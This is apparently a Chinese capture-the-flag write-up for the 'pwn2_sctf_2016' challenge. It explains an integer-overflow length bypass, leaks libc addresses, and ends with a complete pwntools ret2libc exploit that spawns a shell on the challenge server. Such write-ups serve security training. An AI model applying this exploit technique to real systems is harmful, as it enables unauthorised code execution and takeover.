pwn2_sctf_2016


pwn2_sctf_2016

检查保护机制,开了NX,32位

尝试运行了一下

IDA打开,main函数很简单,就调用了一个vuln()函数,那就看看vuln()函数

读出内容限制a2输入最大字节长度为32,接受a2个长度的字符串并放到vuln函数的缓冲区内部,但是a2传入的值类型是unsigned int,而前面判断长度的类型是int,可以规避长度限制。也就是说我们这边可以输入负数来达到溢出的效果(整数溢出)

这里发现输入函数是get_n,而不是get,说明是自定义函数

shift+F12查找字符串,没有看见system(‘/bin/sh’)字样

利用思路:

1.通过输入负数,绕过长度限制,造成溢出

2.利用printf函数泄露程序的libc版本,算出system和‘/bin/sh’的地址

3.溢出覆盖返回地址执行system(‘/bin/sh’),夺权

解题过程:

整数溢出

r.recvuntil('How many bytes do you want me to read?')
r.sendline('-1')

泄露libc

r.recvuntil('How many bytes do you want me to read?')
r.sendline('-1')
r.recvuntil('\n')
payload=b'a'*(0x2c+4)+p32(printf_plt)+p32(main)+p32(printf_got)
r.sendline(payload)
r.recvuntil('\n')
printf_addr=u32(r.recv(4))
libc=LibcSearcher('printf',printf_addr)

算出system和’/bin/sh’的地址

offset=printf_addr-libc.dump('printf')
system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')

覆盖返回地址,夺权

r.recvuntil('How many bytes do you want me to read?')
r.sendline('-1')
r.recvuntil('\n')
payload=b'a'*(0x2c+4)+p32(system)+p32(main)+p32(bin_sh)
r.sendline(payload)

exp:

from pwn import *
#from LibcSearcher import *

r=remote('node4.buuoj.cn',25624)
elf=ELF('./pwn2_sctf_2016')

printf_plt=elf.plt['printf']
printf_got=elf.got['printf']
main=elf.sym['main']

r.recvuntil('How many bytes do you want me to read? ')
r.sendline('-1')
r.recvuntil('\n')
payload=b'a'*(0x2c+4)+p32(printf_plt)+p32(main)+p32(printf_got)
r.sendline(payload)
r.recvuntil('\n')
printf_addr=u32(r.recv(4))
#libc=LibcSearcher('printf',printf_addr)
libc = ELF("./libc-2.23.so")
offset=printf_addr-libc.sym['printf']
system=offset+libc.sym['system']
bin_sh=offset+ next(libc.search(b"/bin/sh"))

r.recvuntil('How many bytes do you want me to read? ')
r.sendline('-1')
r.recvuntil('\n')
payload=b'a'*(0x2c+4)+p32(system)+p32(main)+p32(bin_sh)
r.sendline(payload)

r.interactive()


文章作者: Pr0b1em
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Pr0b1em !
  目录